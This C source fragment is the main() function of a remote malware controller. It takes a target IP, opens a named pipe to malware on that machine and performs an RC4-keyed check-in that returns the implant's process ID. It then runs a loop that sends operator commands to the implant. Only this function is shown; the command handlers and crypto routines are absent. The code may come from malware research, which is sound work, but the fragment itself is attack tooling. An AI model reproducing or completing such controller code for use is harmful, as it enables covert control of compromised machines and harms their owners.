uint32_t main()

in main.c [37:80]


uint32_t main(uint32_t argc, const char** argv)
{
    uint32_t command = 0;
    uint32_t malware_pid = 0;
    size_t target_machine_length = 0;
    char* target_machine = NULL;
    HANDLE pipe = INVALID_HANDLE_VALUE;
    checkin_t* checkin = NULL;

    if (argc < 2)
        h_error("Usage:\n%s TARGET-IP\n", argv[0]);

    target_machine_length = strlen(argv[1]) + 1;
    target_machine = (char*)calloc(1, target_machine_length);

    if (!target_machine)
        h_error("Failed to allocate target_machine memory\n");
    strcpy_s(target_machine, target_machine_length, argv[1]);

    pipe = cl_open_malware_pipe_1(target_machine);

    checkin = comm_process_initial_checkin(pipe, RC4_KEY, RC4_KEY_LENGTH);
    malware_pid = checkin->pid;
    print_checkin_info(checkin);

    cl_initialize_handlers();

    while (true)
    {
        command = ask_user_command();
        if (STOP == command)
            break;
        cl_process_command(pipe, target_machine, malware_pid, command);
    }

    if (target_machine)
        free(target_machine);
    if (checkin)
        free(checkin);
    if (INVALID_HANDLE_VALUE != pipe)
        CloseHandle(pipe);

    return 0;
}